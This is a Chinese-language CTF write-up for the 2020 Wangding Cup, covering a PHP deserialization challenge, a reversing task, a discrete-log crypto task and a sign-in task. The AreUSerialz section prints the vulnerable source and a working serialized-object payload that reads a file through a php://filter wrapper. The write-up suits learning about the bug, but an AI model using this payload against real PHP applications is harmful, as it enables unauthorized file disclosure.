2020 網鼎杯wp

2020 網鼎杯WP

  • 又是划水的一天,就只作出來4題,欸,仍是太菜,這裏就記錄一下作出的幾題的解題記錄

AreUSerialz

知識點:反序列化

  • 打開連接直接給出源碼
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
  • 這裏首先就是要知足payload的字符的ASCII32125之間,其次就是要繞過構造函數和析構函數
  • 其中構造函數在一開始就會被執行,而其中又會執行process函數
  • process函數中只有執行到read函數時才能讀取文件,而要執行read函數則必須使op=2,這裏能夠經過加空格繞過
  • 接下來就是對於protected在反序列化時,要加上\00的前綴
  • 此外在PHP5最新的CVS中,新的序列化方式叫作escaped binary string方式,這是相對與普通那種non-escaped binary string方式來講的:string型數據(字符串)新的序列化格式爲:S:"<length>":"<value>";其中<length>是源字符串的長度,而非<value>的長度。<length>是非負整數,數字前能夠帶有正號(+)<value>爲通過轉義以後的字符串。它的轉義編碼很簡單,對於ASCII碼小於128的字符(但不包括\),按照單個字節寫入(與s標識的相同),對於128~255的字符和\字符,則將其ASCII碼值轉化爲16進制編碼的字符串,以\做爲開頭,後面兩個字節分別是這個字符的16進制編碼,順序按照由高位到低位排列,也就是第8-5位所對應的16進制數字字符(abcdef這幾個字母是小寫)做爲第一個字節,第4-1位做爲第二個字節。依次編碼下來,獲得的就是<value>的內容了。
  • 因此對於普通的序列化小s對應的就是普通的字符串,如s:3:"%00a%00";而序列化的大S則對應的是\加上16進制,如S:2:"\00a\00";
  • 因此這裏最終的payload以下:
<?php
class FileHandler {

    protected $op=" 2";
    protected $filename='php://filter/read=convert.base64-encode/resource=flag.php';
    protected $content= "Hello World";

}
$a=new FileHandler();
echo $b=serialize($a);
  • O:11:"FileHandler":3:{s:5:"\00*\00op";s:2:" 2";s:11:"\00*\00filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"\00*\00content";s:11:"Hello World";}

boom

  • 無腦計算題,level-1md5直接在線查找一下,發現時en5oylevel-2的方程組用sympy解一下或者直接手算,level-3稍微有一些坑,首先用sympy解出x=89127561直接回車後會閃退,這裏能夠用OD動調一下就可抓到flag

you raise me up

知識點:Pohlig-Hellman,離散對數求解

  • 直接用sage解便可
sage: n = 2 ** 512
sage: m = 3911907091245274289594896625652740393183059521729368594038550795814027
....: 70986890308469084735451207885386318986881041563704825943945069343345307381
....: 099559075
sage: c = 6665851394203214245856789450723658632520816791621796775909766895233000
....: 23402364287878602564495379799537321130848560539702412318008592411761080248
....: 5972584499
sage: discrete_log(c,mod(m,n))
56006392793405651552924479293096841126763872290794186417054288110043102953612574215902230811593957757
  • 最後直接在python中解一下便可
>>> long_to_bytes(56006392793405651552924479293096841126763872290794186417054288110043102953612574215902230811593957757)
b'flag{5f95ca93-1594-762d-ed0b-a9139692cb4a}'

簽到題

  • emmmmmmmm,這個充個數,就不講了
相關文章
相關標籤/搜索